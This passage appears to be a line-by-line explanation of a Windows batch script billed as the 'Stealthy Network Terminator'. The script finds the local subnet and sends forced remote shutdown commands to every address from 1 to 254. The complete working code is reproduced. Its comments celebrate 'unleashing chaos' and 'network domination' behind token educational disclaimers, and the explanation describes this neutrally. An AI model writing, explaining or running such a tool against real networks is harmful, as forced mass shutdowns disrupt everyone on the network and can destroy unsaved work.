sline-by-line explanation:
1. @echo off
- Disables echoing of commands, preventing them from being displayed in the console as they are executed.
2. setlocal enabledelayedexpansion
- Enables delayed expansion of variables, allowing the use of
!syntax to access variable values within loops.
3. REM Stealthy Network Terminator - Developed by FLUFFY
- A comment providing information about the script, including its name and developer.
4. REM This script is for educational purposes only. Misuse for malicious intent is illegal.
- A comment emphasizing the script's intended use for educational purposes only and warning against misuse.
5. REM FLUFFY presents the Stealthy Network Terminator (SNT), a potent tool for hacking enthusiasts.
6. REM It silently infiltrates your local network, wreaking havoc with a single click.
- Comments further describing the purpose of the script, presenting it as a tool for hacking enthusiasts that can silently infiltrate a local network to cause havoc.
7. REM WARNING: Use this tool responsibly and only on networks you own or have explicit permission to test.
- A warning emphasizing responsible use of the script and advising against using it on networks without proper authorization.
8. REM Get ready to unleash chaos! Initiating SNT...
- A comment indicating that the script is about to begin executing its main functionality.
9. REM Get local IP address
10. for /f "tokens=2 delims=:" %%i in ('ipconfig ^| findstr IPv4') do (
11. set "local_ip=%%i"
12. )
- Retrieves the local IP address of the machine by parsing the output of the
ipconfigcommand and storing it in the variablelocal_ip.
13. if "%local_ip%"=="" (
14. echo Failed to retrieve local IP address. Aborting operation.
15. exit /b 1
16. )
- Checks if the local IP address was successfully retrieved. If not, it displays an error message and exits the script with an error code.
17. REM Extract network range
18. for /f "tokens=1,2,3 delims=." %%a in ("!local_ip!") do (
19. set "network_range=%%a.%%b.%%c."
20. )
- Extracts the network range from the local IP address by splitting it at each period (.) and storing the first three parts in the variable
network_range.
21. if "%network_range%"=="" (
22. echo Failed to extract network range. Aborting operation.
23. exit /b 1
24. )
- Checks if the network range was successfully extracted. If not, it displays an error message and exits the script with an error code.
25. REM Initiating shutdown sequence for all devices in the network range
26. echo Stealth mode activated... Engaging the SNT...
- Indicates that the script is about to begin shutting down devices on the network and provides some dramatic flair.
27. set "error_count=0"
- Initializes a variable
error_countto keep track of any errors encountered during the shutdown process.
28. for /L %%i in (1,1,254) do (
29. set "ip=!network_range!%%i"
30. shutdown /s /f /t 0 /m \\!ip! >nul 2>&1
31. if errorlevel 1 (
32. echo Failed to send shutdown command to !ip!... Evading detection.
33. set /a "error_count+=1"
34. ) else (
35. echo Shutdown command sent to !ip!... Target neutralized.
36. )
37. )
- Loops through all IP addresses in the network range (from 1 to 254), constructs each IP address, and sends a shutdown command to it using the
shutdowncommand. It also checks if the command was successful and updates theerror_countvariable accordingly.
38. echo.
- Outputs a blank line for better readability in the console.
39. if %error_count% gtr 0 (
40. echo %error_count% devices failed to shut down... Potential resistance detected.
41. ) else (
42. echo All devices in the network range have received shutdown command... Network domination achieved!
43. )
- Checks if any devices failed to shut down. If so, it displays the number of failures. Otherwise, it indicates that all devices have received the shutdown command successfully.
44. echo Terminating SNT... Exit stealth mode and return to the shadows.
45. pause
- Provides a closing message and pauses the script execution to allow the user to view the output before closing the console window.